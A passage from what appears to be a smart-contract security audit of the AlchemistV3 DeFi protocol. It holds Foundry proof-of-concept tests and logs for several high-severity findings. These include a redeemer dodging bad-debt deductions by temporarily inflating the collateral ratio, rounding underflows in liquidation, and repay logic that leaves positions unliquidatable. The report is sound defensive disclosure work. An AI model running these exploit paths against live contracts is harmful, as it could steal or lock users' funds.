        blocksPerYear: 2_600_000,
        minimumCollateralization: minimumCollateralization,
        globalMinimumCollateralization: 2e18, // 200%
        collateralizationLowerBound: 1.2e18, // 120%
        tokenAdapter: address(tokenAdapter),
        transmuter: address(transmuter),
        protocolFee: 0,
        protocolFeeReceiver: address(protocolFeeReceiver),
        liquidatorFee: liquidatorFeeBPS
    });
    // Initialize the Alchemist contract with the parameters
    alchemist.initialize(params);

    alchemistNFT = new AlchemistV3Position(address(alchemist));


    alchemist.setAlchemistPositionNFT(address(alchemistNFT));
    vm.stopPrank();
}

function testExpectedRedeemAmountWithoutBadDebtManipulation() public {
    // yeild token provider
    address provider = makeAddr("providerAddr");
    vm.startPrank(provider);
    mockUnderlyingToken.mint(provider, 1_000_000 ether);
    mockUnderlyingToken.approve(address(mockYieldToken), 1_000_000 ether);
    mockYieldToken.deposit(1_000_000 ether, provider);
    vm.stopPrank();

    // bob borrows
    address bob = makeAddr("bobAddr");
    vm.startPrank(provider);
    mockYieldToken.transfer(bob, 150 ether);
    vm.startPrank(bob);
    mockYieldToken.approve(address(alchemist), 150 ether);
    alchemist.deposit(150 ether, bob, 0);
    alchemist.mint(1, 100 ether, bob);


    // here totalSyntheticsIssued is 100, so redemeers will createRedemption
    // say Jack request redemption of 100 from transmuter
    address jack = makeAddr("jackAddr");
    vm.startPrank(jack);
    alEth.setWhitelist(jack, true);
    alEth.mint(jack, 100 ether);
    alEth.approve(address(transmuter), 100 ether);
    transmuter.createRedemption(100 ether);

    // lets say the collateral token decreases in value by half(just an example to have a bad debt)
    mockYieldToken.withdrawCustom(500_000 ether, address(1));
    console.log("1 Yield token is now worth: ", mockYieldToken.convertToAssets(1 ether), "underlying");//
    ↪  now yeild to underlying is 1 : 0.5
    console.log("badDebtRatio after coll token value decreases = ", alchemist.totalSyntheticsIssued() *
    ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue());

    // now that the protocol has a bad debt lets donate some yeild token directly to the transmuter to
    ↪  fulfill redemptions
    // this is done to avoid other complex calculations which has other bugs(so we are simplyfing the test)
    vm.startPrank(provider);
    mockYieldToken.transfer(address(transmuter), 500 ether);
```

```
    // now without any exploit done by jack he is expected to get
    vm.startPrank(jack);
    vm.roll(block.number + 5_256_000 + 1);
    transmuter.claimRedemption(1);
    console.log("Jack's expected Yeild token balance after redemption: ", mockYieldToken.balanceOf(jack));
}


function testAvoidBadDebtByRedeemer() public {
    // yeild token provider
    address provider = makeAddr("providerAddr");
    vm.startPrank(provider);
    mockUnderlyingToken.mint(provider, 1_000_000 ether);
    mockUnderlyingToken.approve(address(mockYieldToken), 1_000_000 ether);
    mockYieldToken.deposit(1_000_000 ether, provider);
    vm.stopPrank();

    // bob borrows
    address bob = makeAddr("bobAddr");
    vm.startPrank(provider);
    mockYieldToken.transfer(bob, 150 ether);
    vm.startPrank(bob);
    mockYieldToken.approve(address(alchemist), 150 ether);
    alchemist.deposit(150 ether, bob, 0);
    alchemist.mint(1, 100 ether, bob);


    // now here totalSyntheticsIssued is 100, so redemeers will createRedemption
    // say Jack request redemption of 100 from transmuter
    address jack = makeAddr("jackAddr");
    vm.startPrank(jack);
    alEth.setWhitelist(jack, true);
    alEth.mint(jack, 100 ether);
    alEth.approve(address(transmuter), 100 ether);
    transmuter.createRedemption(100 ether);



    // lets say the collateral token decreases in value by half(just an example to have a bad debt)
    mockYieldToken.withdrawCustom(500_000 ether, address(1));
    console.log("1 Yield token is now worth: ", mockYieldToken.convertToAssets(1 ether), "underlying");//
    ↪  now yeild to underlying is 1 : 0.5
    console.log("badDebtRatio after coll token value decreases = ", alchemist.totalSyntheticsIssued() *
    ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue());

    // now that the protocol has a bad debt lets donate some yeild token directly to the transmuter to
    ↪  fulfill redemptions
    // this is done to avoid other complex calculations which has other bugs(so we are simplyfing the test)
    vm.startPrank(provider);
    mockYieldToken.transfer(address(transmuter), 500 ether);



    //@audit now if jack exploit this by depositing into the conctract(this could be anyone else
    ↪  accidentally)
    vm.startPrank(provider);
    mockYieldToken.transfer(jack, 500 ether);
    vm.startPrank(jack);
    mockYieldToken.approve(address(alchemist), 500 ether);
    alchemist.deposit(500 ether, jack, 0);

    // now protocol thinks its healthy although jack simply deposits yeild token and never takes debt
    console.log("inflated badDebtRatio = ", alchemist.totalSyntheticsIssued() *
    ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue());

    //jack claims
    vm.roll(block.number + 5_256_000 + 1);
    transmuter.claimRedemption(1);
    console.log("Jack's Yeild token balance after avoiding bad deb deduction in redemption: ",
    ↪  mockYieldToken.balanceOf(jack));

    // now jack can still withdraw all his deposits without any issue
    alchemist.withdraw(500 ether, jack, 2);
    console.log("final balance after jack sucessfully withdraws deposits:", mockYieldToken.balanceOf(jack));
    console.log("actual badDebtRatio = ", alchemist.totalSyntheticsIssued() *
    ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue());
```

```
    }
}
```

Run `forge test --mt testExpectedRedeemAmountWithoutBadDebtManipulation -vvv` and check the output:

```
[PASS] testExpectedRedeemAmountWithoutBadDebtManipulation() (gas: 1809016)
Logs:
  1 Yield token is now worth:  500000000000000000 underlying
  badDebtRatio after coll token value decreases =  1333333333333333333
  Jack's expected Yeild token balance after redemption:  150000000000000000036
```

This is the expected output since `badDebtRatio = 1333333333333333333` > 1e18;

```
if (badDebtRatio > 1e18) {
    claimAmount = claimAmount * FIXED_POINT_SCALAR / badDebtRatio;
    feeAmount = feeAmount * FIXED_POINT_SCALAR / badDebtRatio;
}
```

although Jack redeems 100 tokens and ratio is 1 : 0.5 he does not get 200 tokens because there is bad debt in the system, this is expected and true. Now lets see how this is avoided because incorrect accounting,

Run `forge test --mt testAvoidBadDebtByRedeemer -vvv` , and check the output:

```
[PASS] testAvoidBadDebtByRedeemer() (gas: 2101059)
Logs:
  1 Yield token is now worth:  500000000000000000 underlying
  badDebtRatio after coll token value decreases =  1333333333333333333
  inflated badDebtRatio =  307692307692307692
  Jack's Yeild token balance after avoiding bad deb deduction in redemption:  200000000000000000000
  final balance after jack sucessfully withdraws deposits: 700000000000000000000
  actual badDebtRatio =  1333333333333333333
```

We can see that Jack sucessfully avoids bad debt by temporarily inflating the `badDebtRatio` and now he gets 200 tokens even while there is bad debt in the system, and also withdraw the coll tokens he used to inflate the ratio without any problem. This is because `badDebtRatio` calculation uses `alchemist.getTotalUnderlyingValue()` which uses `IERC20(yieldToken).balanceOf(address(this))` which can include `freeCollateral` (directly withdrawable) and directly transfered tokens:

```
function _getTotalUnderlyingValue() internal view returns (uint256 totalUnderlyingValue) {
    uint256 yieldTokenTVL = IERC20(yieldToken).balanceOf(address(this)); //@audit directly sent tokens can
    ↪  break accounting as well
    uint256 yieldTokenTVLInUnderlying = convertYieldTokensToUnderlying(yieldTokenTVL);
    totalUnderlyingValue = yieldTokenTVLInUnderlying;
}
```

Please note that in this proof of conceot I have simplified many things, doing this to only prove the point without complicating things.

Recommendation: Needs a re-design, because if we directly change `_getTotalUnderlyingValue` to account only for `_totalLocked` then we will again introduce another issue since it is also used during liquidation. But using `IERC20(yieldToken).balanceOf(address(this))` defenitely needs to change because directly sent tokens will also affect the liquidation accounting.

3.1.15 Rounding errors in `AlchemistV3::_forceRepay()` lead to account state corruption and underflow in `_sync()`

Submitted by patitonar, also found by montecristo and holtzzx

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `_liquidate()` and `_forceRepay()` functions contains rounding errors when converting between yield and debt tokens multiple times, causing incorrect earmarked debt tracking and potential underflow in subsequent operations.

Finding Description: In `AlchemistV3::_liquidate()`, the function calls `_forceRepay()` to repay the earmarked debt with `convertDebtTokensToYield(account.earmarked)` as the argument converted, converting the earmarked debt to yield tokens.

```
function _liquidate(uint256 accountId) internal returns (uint256 debtAmount, uint256 feeInYield, uint256
↪  feeInUnderlying) {

    // .. other code ..

    // Try to repay earmarked debt if it exists
    uint256 repaidAmountInYield = 0;
    if (account.earmarked > 0) {
        repaidAmountInYield = _forceRepay(accountId, convertDebtTokensToYield(account.earmarked)); // <<<
    }

    // .. other code ..
}
```

Then in `AlchemistV3::_forceRepay()`, the function converts the yield tokens `amount` back to debt tokens denomination `yieldToDebt`:

```
function _forceRepay(uint256 accountId, uint256 amount) internal returns (uint256) {
    _checkArgument(amount > 0);
    _checkForValidAccountId(accountId);
    Account storage account = _accounts[accountId];

    // Query transmuter and earmark global debt
    _earmark();

    // Sync current user debt before deciding how much is available to be repaid
    _sync(accountId);

    uint256 debt;

    // Burning yieldTokens will pay off all types of debt
    _checkState((debt = account.debt) > 0);

    uint256 yieldToDebt = convertYieldTokensToDebt(amount); // <<<
    uint256 credit = yieldToDebt > debt ? debt : yieldToDebt; // <<<
    uint256 creditToYield = convertDebtTokensToYield(credit);
    _subDebt(accountId, credit);

    // Repay debt from earmarked amount of debt first
    account.earmarked -= credit > account.earmarked ? account.earmarked : credit; // <<<

    account.collateralBalance -= creditToYield;

    // Transfer the repaid tokens from the account to the transmuter.
    TokenUtils.safeTransfer(yieldToken, address(this), creditToYield);
    return creditToYield;
}
```

This double conversion generates a rounding error of 1 wei, making the `yieldToDebt` value slightly less than the actual earmarked amount. In the case where `yieldToDebt` is less than `account.debt`, the `account.earmarked` will be `> 0`. Lastly, as part of `AlchemistV3::_liquidate()`, the function can clear the rest of the debt from the account, making `account.debt == 0`.

```
function _liquidate(uint256 accountId) internal returns (uint256 debtAmount, uint256 feeInYield, uint256
↪  feeInUnderlying) {
    // .. other code ..

    if (account.earmarked > 0) {
        repaidAmountInYield = _forceRepay(accountId, convertDebtTokensToYield(account.earmarked));
    }
    // If debt is fully cleared, return with only the repaid amount, no liquidation, no liquidation fees
    if (account.debt == 0) {
        return (repaidAmountInYield, 0, 0);
    }
    // .. other code ..

    if (collateralizationRatio <= collateralizationLowerBound) {
        uint256 alchemistCurrentCollateralization =
        ↪  normalizeUnderlyingTokensToDebt(_getTotalUnderlyingValue()) * FIXED_POINT_SCALAR / totalDebt;

        (uint256 liquidationAmount, uint256 debtToBurn, uint256 baseFee) = calculateLiquidation( // <<<
            collateralInUnderlying, account.debt, minimumCollateralization, alchemistCurrentCollateralization,
            ↪  globalMinimumCollateralization, liquidatorFee
        );

        uint256 feeBonus = debtToBurn * liquidatorFee / BPS;
        uint256 adjustedLiquidationAmount = convertDebtTokensToYield(liquidationAmount);
        uint256 adjustedDebtToBurn = convertDebtTokensToYield(debtToBurn);
        debtAmount = adjustedLiquidationAmount;
        feeInYield = convertDebtTokensToYield(baseFee);

        // update user balance (denominated in yield tokens)
        account.collateralBalance = account.collateralBalance > adjustedLiquidationAmount ?
        ↪  account.collateralBalance - adjustedLiquidationAmount : 0;

        // Update users debt (denominated in debt tokens)
        _subDebt(accountId, debtToBurn); // <<<

    // .. other code ..
    }

    return (debtAmount + repaidAmountInYield, feeInYield, feeInUnderlying);
}
```

So at the end of the liquidation call, the `account.earmarked` will be `> 0` and the `account.debt` will be `0`. So after this, any user operation that relies on the `_sync()` function will revert due to the underflow when calculating `debtToEarmark`.

```
function _sync(uint256 tokenId) internal {
    Account storage account = _accounts[tokenId];
    RedemptionInfo memory previousRedemption = _redemptions[lastRedemptionBlock];

    uint256 debtToEarmark = PositionDecay.ScaleByWeightDelta(account.debt - account.earmarked, _earmarkWeight
    ↪  - account.lastAccruedEarmarkWeight); // <<<
    uint256 earmarkedState = account.earmarked + debtToEarmark;

    // .. other code ..
}
```

Impact Explanation: The rounding errors lead to:

1. Account state corruption due to incorrect earmarked debt tracking.
2. Underflow in `_sync()` calculations.
3. Inability to properly track and manage user positions.
4. Potential loss of user funds due to incorrect debt calculations.

Likelihood Explanation: This issue is likely to occur because:

1. Token conversions between yield and debt tokens are frequent operations.
2. The rounding errors accumulate with each conversion.
3. The problem affects all users who have their positions liquidated.

Proof of Concept: Add the following test to `AlchemistV3.t.sol`:

```
function testLiquidate_sync_reverts() external {
    uint256 amount = 200_000e18; // 200,000 yudai
    vm.startPrank(someWhale);
    fakeYieldToken.mint(whaleSupply, someWhale);
    vm.stopPrank();

    // just ensureing global alchemist collateralization stays above the minimum required for regular
    ↪  liquidations
    // no need to mint anything
    vm.startPrank(yetAnotherExternalUser);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount * 2);
    alchemist.deposit(amount, yetAnotherExternalUser, 0);
    vm.stopPrank();

    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, address(0xbeef), 0);
    // a single position nft would have been minted to 0xbeef
    uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenIdFor0xBeef, alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR /
    ↪  minimumCollateralization, address(0xbeef));
    vm.stopPrank();

    // modify yield token price via modifying underlying token supply
    (, uint256 prevDebt,) = alchemist.getCDP(tokenIdFor0xBeef);
    // ensure initial debt is correct
    vm.assertApproxEqAbs(prevDebt, 180_000_000_000_000_000_018_000, minimumDepositOrWithdrawalLoss);

    // create a redemption to start earmarking debt
    vm.startPrank(address(0xdad));
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), 50e18);
    transmuterLogic.createRedemption(50e18);
    vm.stopPrank();

    uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
    fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
    // increasing yeild token suppy by 1200 bps or 12%  while keeping the unederlying supply unchanged
    uint256 modifiedVaultSupply = (initialVaultSupply * 1200 / 10_000) + initialVaultSupply;
    fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

    vm.roll(block.number + 5_256_000);

    // let another user liquidate the previous user position
    vm.startPrank(externalUser);

    alchemist.liquidate(tokenIdFor0xBeef);

    // Reverts with underflow!!!
    alchemist.poke(tokenIdFor0xBeef);
}
```

Run the test:

```
forge test --mc AlchemistV3Test --mt testLiquidate_sync_reverts
```

The output should be:

```
[FAIL: panic: arithmetic underflow or overflow (0x11)]
```

Recommendation: Refactor `_forceRepay()` to handle earmarked debt directly in debt token units to avoid multiple conversions:

```
function _forceRepay(uint256 accountId, uint256 earmarkedAmount) internal returns (uint256) {
    _checkArgument(earmarkedAmount > 0);
    _checkForValidAccountId(accountId);
    Account storage account = _accounts[accountId];

    // Query transmuter and earmark global debt
    _earmark();

    // Sync current user debt before deciding how much is available to be repaid
    _sync(accountId);

    uint256 debt;

    // Burning yieldTokens will pay off all types of debt
    _checkState((debt = account.debt) > 0);

    uint256 credit = earmarkedAmount > debt ? debt : earmarkedAmount;
    uint256 creditToYield = convertDebtTokensToYield(credit);
    _subDebt(accountId, credit);

    // Handle earmarked amount directly in debt tokens
    account.earmarked -= credit > account.earmarked ? account.earmarked : credit;

    account.collateralBalance -= creditToYield;

    // Transfer the repaid tokens from the account to the transmuter.
    TokenUtils.safeTransfer(yieldToken, address(this), creditToYield);
    return creditToYield;
}
```

3.1.16 Prioritization of Earmarked Debt in `repay` Leads to Skewed Redemption Exposure and Uncloseable CDPs

Submitted by CAUsr

Severity: High Risk

Context: AlchemistV3.sol#L513, AlchemistV3.sol#L757

Summary: In AlchemistV3's `repay` function, the protocol always reduces the `earmarked` portion of a user's debt first. Because earmarked debt controls how debt is reduced during third-party redemptions, wiping it out prematurely allows redemptions to consume collateral without proportional debt reduction. In the worst case, a CDP can become uncloseable and unliquidatable.

Finding Description: There is a flaw in repayment design in `AlchemistV3`.

```
function repay(uint256 amount, uint256 recipientTokenId) public returns (uint256) {
    // ...

    // Burning yieldTokens will pay off all types of debt
    _checkState((debt = account.debt) > 0);

    uint256 yieldToDebt = convertYieldTokensToDebt(amount);
    uint256 credit = yieldToDebt > debt ? debt : yieldToDebt;
    uint256 creditToYield = convertDebtTokensToYield(credit);

    // Repay debt from earmarked amount of debt first
    uint256 earmarkToRemove = credit > account.earmarked ? account.earmarked : credit;
    account.earmarked -= earmarkToRemove;   // <-----

    // Debt is subject to protocol fee similar to redemptions
    account.collateralBalance -= creditToYield * protocolFee / BPS;

    _subDebt(recipientTokenId, credit);

    // ...
}
```

As we see, the earmarked portion of the debt (`account.earmarked`) is repaid first. This is the root cause of the issue. Note that this portion of the debt is responsible for debt-reduction distribution during redemptions. Wiping (fully or partially) this portion creates skewed redemption exposure of the CDP: collateral is reduced without equivalent debt reduction.

Firstly, it is just unfair to the repayer (please see the proof of concept for an example).

Secondly, this issue has severe consequences: such a CDP may become uncloseable and unliquidatable (also demonstrated in the proof of concept). This is so because redemptions for such a CDP reduce locked collateral but not debt - that leads to underflow of the `rawLocked` field. Adding more collateral and debt won't help since new debt adds to `rawLocked` pro rata.

Impact Explanation: High Impact.

- Breaks Core Functionality: Affected CDPs cannot be closed or liquidated, undermining the protocol safety.
- Loss of User Funds: Users' collateral may become permanently locked or lost due to underflows, leading to unrecoverable assets.

Likelihood Explanation: Medium Likelihood.

Triggerability: Any user with an active CDP can invoke `repay` to deplete the earmarked bucket-no special privileges needed. Any repayer suffer from the caused imbalance to some degree.

However, appearance of large portions of earmarked debt depend on particular Transmuter flows.

Proof of Concept: Please apply the following patch to `src/test/AlchemistV3.t.sol` and run it with `forge test --mt testRepayDisbalancingEarmarking -vv`:

```
  diff --git a/src/test/AlchemistV3.t.sol b/src/test/AlchemistV3.t.sol
  index 0f0d1b9..12c2058 100644
-  -- a/src/test/AlchemistV3.t.sol
+  ++ b/src/test/AlchemistV3.t.sol
  @@ -1,6 +1,8 @@
   // SPDX-License-Identifier: GPL-3.0-or-later
   pragma solidity 0.8.26;

+  import "forge-std/StdError.sol";
+
   import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
   import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

  @@ -214,6 +216,130 @@ contract AlchemistV3Test is Test {
           vm.stopPrank();
       }

+      function makePosition(address owner, uint256 collAmount) internal returns (uint256 tokenId) {
+          return makePosition(owner, collAmount, 50);
+      }
+
+      function makePosition(address owner, uint256 collAmount, uint256 debtPercentToMint) internal returns
↪  (uint256 tokenId) {
+          vm.startPrank(owner);
+
+          SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), collAmount);
+          uint256 debtValue = alchemist.deposit(collAmount, owner, 0);
+
+          // a single position nft would have been minted to owner
+          tokenId = AlchemistNFTHelper.getFirstTokenId(owner, address(alchemistNFT));
+
+          alchemist.mint(tokenId, debtValue * debtPercentToMint / 100, owner);
+
+          vm.stopPrank();
+      }
+
+      function getCDPCollateral(uint256 tokenId) internal view returns (uint256) {
+          (uint256 collateral, ,) = alchemist.getCDP(tokenId);
+          return collateral;
+      }
+
+      function getCDPDebt(uint256 tokenId) internal view returns (uint256) {
+          (, uint256 debt, ) = alchemist.getCDP(tokenId);
+          return debt;
+      }
+
+      function getCDPEarmarkedDebt(uint256 tokenId) internal view returns (uint256) {
+          (, , uint256 earmarked) = alchemist.getCDP(tokenId);
+          return earmarked;
+      }
```

```
+
+      function getCDPCollateralization(uint256 tokenId) internal view returns (uint256) {
+          return alchemist.totalValue(tokenId) * FIXED_POINT_SCALAR / getCDPDebt(tokenId);
+      }
+
+      function testRepayDisbalancingEarmarking() external {
+          vm.startPrank(alOwner);
+          alchemist.setProtocolFee(100);  // 1%
+          alchemist.setCollateralizationLowerBound(alchemist.minimumCollateralization() * 99 / 100);  // for
↪   simplicity
+          vm.stopPrank();
+
+          uint256 tokenIdFor0xBeef = makePosition(address(0xbeef), 100e18);
+          uint256 tokenIdForExternalUser = makePosition(externalUser, 100e18);
+          uint256 debtChunk = getCDPDebt(tokenIdFor0xBeef);
+
+          console.log("Initially: totalDebt %e", alchemist.totalDebt());
+          console.log("Initially: 0xbeef:");
+          console.log("Initially:          collateral: %e", getCDPCollateral(tokenIdFor0xBeef));
+          console.log("Initially:          debt: %e", getCDPDebt(tokenIdFor0xBeef));
+          console.log("Initially:          earmarked: %e", getCDPEarmarkedDebt(tokenIdFor0xBeef));
+          console.log("Initially: externalUser:");
+          console.log("Initially:          collateral: %e", getCDPCollateral(tokenIdForExternalUser));
+          console.log("Initially:          debt: %e", getCDPDebt(tokenIdForExternalUser));
+          console.log("Initially:          earmarked: %e", getCDPEarmarkedDebt(tokenIdForExternalUser));
+          console.log();
+
+          // Creating earmarked debt for both CDPs.
+          vm.startPrank(address(0xbeef));
+          SafeERC20.safeApprove(address(alToken), address(transmuterLogic), type(uint256).max);
+          transmuterLogic.createRedemption(debtChunk);
+          vm.stopPrank();
+          vm.roll(5_256_010);
+
+          alchemist.poke(tokenIdFor0xBeef);
+          alchemist.poke(tokenIdForExternalUser);
+
+          console.log("With earmarked debt: totalDebt %e", alchemist.totalDebt());
+          console.log("With earmarked debt: 0xbeef:");
+          console.log("With earmarked debt:          collateral: %e", getCDPCollateral(tokenIdFor0xBeef));
+          console.log("With earmarked debt:          debt: %e", getCDPDebt(tokenIdFor0xBeef));
+          console.log("With earmarked debt:          earmarked: %e", getCDPEarmarkedDebt(tokenIdFor0xBeef));
+          console.log("With earmarked debt: externalUser:");
+          console.log("With earmarked debt:          collateral: %e", getCDPCollateral(tokenIdForExternalUser));
+          console.log("With earmarked debt:          debt: %e", getCDPDebt(tokenIdForExternalUser));
+          console.log("With earmarked debt:          earmarked: %e",
↪   getCDPEarmarkedDebt(tokenIdForExternalUser));
+          console.log();
+
+          // Repayment wipes the earmarked portion first!
+          vm.startPrank(externalUser);
+          SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), type(uint256).max);
+          alchemist.repay(alchemist.convertDebtTokensToYield(debtChunk / 2), tokenIdForExternalUser);
+          // Plus, leveraging position for illustrative purposes
+          alchemist.withdraw(getCDPCollateral(tokenIdForExternalUser) -
↪   alchemist.convertDebtTokensToYield(getCDPDebt(tokenIdForExternalUser))
+              * alchemist.minimumCollateralization() / FIXED_POINT_SCALAR * 101 / 100, externalUser,
↪   tokenIdForExternalUser);
+          vm.stopPrank();
+
+          alchemist.poke(tokenIdFor0xBeef);
+          alchemist.poke(tokenIdForExternalUser);
+          console.log("After earmarked repayment: totalDebt %e", alchemist.totalDebt());
+          console.log("After earmarked repayment: 0xbeef:");
+          console.log("After earmarked repayment:          collateral: %e", getCDPCollateral(tokenIdFor0xBeef));
+          console.log("After earmarked repayment:          debt: %e", getCDPDebt(tokenIdFor0xBeef));
+          console.log("After earmarked repayment:          earmarked: %e",
↪   getCDPEarmarkedDebt(tokenIdFor0xBeef));
+          console.log("After earmarked repayment: externalUser:");
+          console.log("After earmarked repayment:          collateral: %e",
↪   getCDPCollateral(tokenIdForExternalUser));
+          console.log("After earmarked repayment:          debt: %e", getCDPDebt(tokenIdForExternalUser));
+          console.log("After earmarked repayment:          earmarked: %e",
↪   getCDPEarmarkedDebt(tokenIdForExternalUser));
+          console.log();
+
```

```
+          // Redemption is not just unfair for externalUser,
+          // but also creates unliquidatable CDP (reduces locked collateral but not debt - that leads to
↪  underflow)!
+          vm.prank(address(0xbeef));
+          transmuterLogic.claimRedemption(1);
+
+          alchemist.poke(tokenIdFor0xBeef);
+          alchemist.poke(tokenIdForExternalUser);
+          console.log("After redemption: totalDebt %e", alchemist.totalDebt());
+          console.log("After redemption: 0xbeef:");
+          console.log("After redemption:         collateral: %e", getCDPCollateral(tokenIdFor0xBeef));
+          console.log("After redemption:         debt: %e", getCDPDebt(tokenIdFor0xBeef));
+          console.log("After redemption:         earmarked: %e", getCDPEarmarkedDebt(tokenIdFor0xBeef));
+          console.log("After redemption: externalUser:");
+          console.log("After redemption:         collateral: %e", getCDPCollateral(tokenIdForExternalUser));
+          console.log("After redemption:         debt: %e", getCDPDebt(tokenIdForExternalUser));
+          console.log("After redemption:         earmarked: %e", getCDPEarmarkedDebt(tokenIdForExternalUser));
+          console.log();
+
+          // The liquidations are blocked by arithmetic underflow!
+          vm.expectRevert(stdError.arithmeticError);
+          alchemist.liquidate(tokenIdForExternalUser);
+      }
+  /*
       function testSetV3PositionNFTAlreadySetRevert() public {
           vm.startPrank(alOwner);
           vm.expectRevert();
  @@ -2698,5 +2824,5 @@ contract AlchemistV3Test is Test {
          vm.assertApproxEqAbs(liquidatorPostTokenBalance, liquidatorPrevTokenBalance +
          ↪  expectedBaseFeeInYield, 1e18);
          vm.assertApproxEqAbs(liquidatorPostUnderlyingBalance, liquidatorPrevUnderlyingBalance +
          ↪  expectedFeeInUnderlying, 1e18);
          vm.assertEq(alchemistFeeVault.totalDeposits(), 10_000 ether - expectedFeeInUnderlying);
-      }
+      }*/
   }
```

Output:

```
Logs:
  Initially: totalDebt 1e20
  Initially: 0xbeef:
  Initially:         collateral: 1e20
  Initially:         debt: 5e19
  Initially:         earmarked: 0e0
  Initially: externalUser:
  Initially:         collateral: 1e20
  Initially:         debt: 5e19
  Initially:         earmarked: 0e0

  With earmarked debt: totalDebt 1e20
  With earmarked debt: 0xbeef:
  With earmarked debt:         collateral: 1e20
  With earmarked debt:         debt: 5e19
  With earmarked debt:         earmarked: 2.5e19
  With earmarked debt: externalUser:
  With earmarked debt:         collateral: 1e20
  With earmarked debt:         debt: 5e19
  With earmarked debt:         earmarked: 2.5e19

  After earmarked repayment: totalDebt 7.5e19
  After earmarked repayment: 0xbeef:
  After earmarked repayment:         collateral: 1e20
  After earmarked repayment:         debt: 5e19
  After earmarked repayment:         earmarked: 2.5e19
  After earmarked repayment: externalUser:
  After earmarked repayment:         collateral: 2.805555555555555552e19
  After earmarked repayment:         debt: 2.5e19
  After earmarked repayment:         earmarked: 0e0

  After redemption: totalDebt 5e19
  After redemption: 0xbeef:
  After redemption:         collateral: 8.316666666666666666e19
  After redemption:         debt: 3.75e19
  After redemption:         earmarked: 1.25e19
  After redemption: externalUser:
```

```
After redemption:         collateral: 1.963888888888888885e19
After redemption:         debt: 2.5e19
After redemption:         earmarked: 0e0
```

As we see, after the redemption the externalUser debt is untouched, but collateral is reduced by `8.4e18` (30%!).

The CDP becomes undercollateralized and is holding bad debt, but cannot be liquidated.

Recommendation: Consider reducing `earmarked` portion pro rata to the debt reduction in `repay` and `_forceRepay`.

3.1.17 `_liquidate` function fails to adjust `adjustedDebtToBurn` resulting is using someone else's collateral to pay for the liquidation

Submitted by touthang, also found by Pascal, Rikard Hjort, CAUsr, stevencartavia, dash, ExtraCaterpillar, TheWeb3Mechanic, pyk, montecristo, Bigsam and 0xNForcer

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: When yield token price decreases and a position is liquidated and if the amount needed to repay the debt exceeds his `account.collateralBalance` the contract will incorrectly use other user's deposits/collaterals to pay for the liquidated position.

Finding Description: This happens because in `_liquidate`:

```
if (collateralizationRatio <= collateralizationLowerBound) {
    uint256 alchemistCurrentCollateralization = normalizeUnderlyingTokensToDebt(_getTotalUnderlyingValue()) *
    ↪  FIXED_POINT_SCALAR / totalDebt;

    (uint256 liquidationAmount, uint256 debtToBurn, uint256 baseFee) = calculateLiquidation(
        collateralInUnderlying, account.debt, minimumCollateralization, alchemistCurrentCollateralization,
        ↪  globalMinimumCollateralization, liquidatorFee
    );

    uint256 feeBonus = debtToBurn * liquidatorFee / BPS;
    uint256 adjustedLiquidationAmount = convertDebtTokensToYield(liquidationAmount);
    uint256 adjustedDebtToBurn = convertDebtTokensToYield(debtToBurn);
    debtAmount = adjustedLiquidationAmount;
    feeInYield = convertDebtTokensToYield(baseFee);

    // update user balance (denominated in yield tokens)
    account.collateralBalance = account.collateralBalance > adjustedLiquidationAmount ?
    ↪  account.collateralBalance - adjustedLiquidationAmount : 0;

    // Update users debt (denominated in debt tokens)
    _subDebt(accountId, debtToBurn);

    // send liquidation amount - any fee to the transmuter. the transmuter only accepts yield tokens
    TokenUtils.safeTransfer(yieldToken, transmuter, adjustedDebtToBurn);
```

if `account.collateralBalance = account.collateralBalance > adjustedLiquidationAmount ? account.collateralBalance - adjustedLiquidationAmount : 0;` we adjusted `account.collateralBalance` but never adjusted the `adjustedDebtToBurn` amount in `TokenUtils.safeTransfer(yieldToken, transmuter, adjustedDebtToBurn);` This results in either DoS of revert if no collateral enough in the system or using other users' collateral/deposits to repay for the liquidated position.

We need to decrease the `adjustedDebtToBurn` before transferring to transmuter if it is greater than `account.collateralBalance` because that is the only collateral deposited by the user, if more than that is transferred out to liquidate the position then we are using someone else's collateral.

Impact Explanation: High, it could be unliquidatable position or using someone else's collateral to pay for another's liquidation.

Likelihood Explanation: medium, needs yield token value to decrease upto which the converted `uint256 adjustedDebtToBurn = convertDebtTokensToYield(debtToBurn); > account.collateralBalance` but no complex attack path needed.

Proof of Concept: *Note: remove `initializer` from the AlchemistV3 constructor (for simple testing).* Create a new test file and paste this:

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;


import "lib/forge-std/src/Test.sol";
import "src/AlchemistV3.sol";
import "src/interfaces/IAlchemistV3.sol";
import "src/external/AlEth.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol";
import "src/adapters/EulerUSDCAdapter.sol";
import "src/Transmuter.sol";
import "src/AlchemistV3Position.sol";


import "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol";
contract MockERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function burn(address from, uint256 amount) external {
        _burn(from, amount);
    }
}

